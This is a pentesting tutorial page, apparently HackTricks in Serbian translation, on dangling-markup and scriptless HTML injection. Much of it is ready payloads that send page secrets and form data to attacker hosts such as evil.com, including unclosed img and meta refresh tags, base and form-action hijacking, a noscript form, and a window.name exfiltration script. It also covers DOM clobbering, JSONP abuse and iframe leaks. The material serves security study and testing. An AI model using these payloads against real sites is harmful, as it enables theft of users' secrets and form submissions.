Dangling Markup - HTML scriptless injection

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Resume

Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se HTML injekcija pronađe. Ovo je veoma korisno ako ne pronađete način da iskoristite XSS ali možete ubaciti neke HTML tagove.
Takođe je korisno ako je neka tajna sačuvana u čistom tekstu u HTML-u i želite da je ekfiltrirate iz klijenta, ili ako želite da obmanete neku izvršavanje skripte.

Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy ekfiltriranjem informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).

Main Applications

Stealing clear text secrets

Ako ubacite <img src='http://evil.com/log.cgi? kada se stranica učita, žrtva će vam poslati sav kod između ubačenog img taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).

Ako je img tag zabranjen (zbog CSP-a na primer) možete takođe koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete probati druge protokole kao što je "ftp".

Takođe možete zloupotrebiti CSS @import (poslaće sav kod dok ne pronađe ";")

html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Možete takođe koristiti <table:

html
<table background='//your-collaborator-id.burpcollaborator.net?'

Možete takođe umetnuti <base tag. Sve informacije će biti poslate dok se citat ne zatvori, ali to zahteva neku interakciju korisnika (korisnik mora kliknuti na neki link, jer će <base tag promeniti domen na koji link upućuje):

html
<base target='        <--- Injected
steal me'<b>test</b>

Krađa formi

html
<base href="http://evil.com/" />

Zatim, forme koje šalju podatke na putanju (kao što je <form action='update_profile.php'>) će slati podatke na zloćudnu domenu.

Krađa formi 2

Postavite zaglavlje forme: <form action='http://evil.com/log_steal'> ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.

Krađa formi 3

Dugme može promeniti URL na koji će informacije iz forme biti poslate sa atributom "formaction":

html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>

Napadač može koristiti ovo da ukrade informacije.

Pronađite primer ovog napada u ovom izveštaju.

Krađa tajni u čistom tekstu 2

Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:

html
<input type='hidden' name='review_body' value="

i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "Krađu tajnih podataka u čistom tekstu" sa "Krađom formi2".

Možete učiniti isto ubrizgavanjem forme i <option> taga. Svi podaci do zatvorenog </option> će biti poslati:

html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Injekcija parametara forme

Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:

html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines

<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>

Krađa tajni u čistom tekstu putem noscript

<noscript></noscript> je tag čiji sadržaj će biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/onemogućiti Javascript u Chrome-u na chrome://settings/content/javascript).

Način da se exfiltrira sadržaj web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovog:

html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Obilaženje CSP-a uz interakciju korisnika

Iz ovog portswiggers istraživanja možete saznati da čak i iz najviše CSP ograničenih okruženja možete i dalje izvući podatke uz neku interakciju korisnika. U ovoj prilici ćemo koristiti payload:

html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Napomena da ćete zamoliti žrtvu da klikne na link koji će ga preusmeriti na payload koji kontrolišete. Takođe, imajte na umu da će target atribut unutar base taga sadržati HTML sadržaj sve do sledeće jednostruke navodnike.
To će učiniti da će vrednost window.name ako se link klikne biti sav taj HTML sadržaj. Stoga, pošto kontrolišete stranicu na kojoj žrtva pristupa klikom na link, možete pristupiti tom window.name i ekfiltrirati te podatke:

html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Zavaravajući tok skripte 1 - HTML namespace napad

Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će informacija biti podeljena:

html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />

... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }

Zavaravajući tok skripte 2 - Napad na prostor imena skripte

Kreirajte promenljive unutar javascript prostora imena umetajući HTML tagove. Tada će ova promenljiva uticati na tok aplikacije:

html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }

Zloupotreba JSONP-a

Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:

html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ili možete čak pokušati da izvršite neki javascript:

html
<script src="/search?q=a&call=alert(1)"></script>

Iframe zloupotreba

Dečiji dokument ima mogućnost da pregleda i menja location svojstvo svog roditelja, čak i u situacijama sa različitim izvorima. To omogućava umetanje skripte unutar iframe koja može preusmeriti klijenta na proizvoljnu stranicu:

html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>

Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'

Iframe se takođe može zloupotrebiti da bi se otkrile osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz inicijalnog iframe-a i otkriti ga.

html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>

<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>

Za više informacija proverite https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta zloupotreba

Možete koristiti meta http-equiv za izvršavanje several actions kao što je postavljanje kolačića: <meta http-equiv="Set-Cookie" Content="SESSID=1"> ili izvršavanje preusmeravanja (u 5s u ovom slučaju): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Ovo se može izbeći sa CSP u vezi sa http-equiv ( Content-Security-Policy: default-src 'self';, ili Content-Security-Policy: http-equiv 'self';)

Novi <portal HTML tag

Možete pronaći veoma interesting research o iskorišćenim ranjivostima <portal taga ovde.
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u chrome://flags/#enable-portals ili neće raditi.

html
<portal src='https://attacker-server?

HTML Leaks

Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Ovo je mešavina između dangling markup i XS-Leaks. S jedne strane, ranjivost omogućava injekciju HTML-a (ali ne JS) na stranicu iste domene kao one koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na kojoj možemo injektovati HTML, već drugoj stranici.

SS-Leaks

XS-Search/XS-Leaks

XS-Search su orijentisani na ekstrakciju informacija iz različitih domena zloupotrebom napada putem sporednih kanala. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su CSS Injection ili Lazy Load Images.

XS-Search/XS-Leaks

Brute-Force Detection List

Auto_Wordlists/wordlists/dangling_markup.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks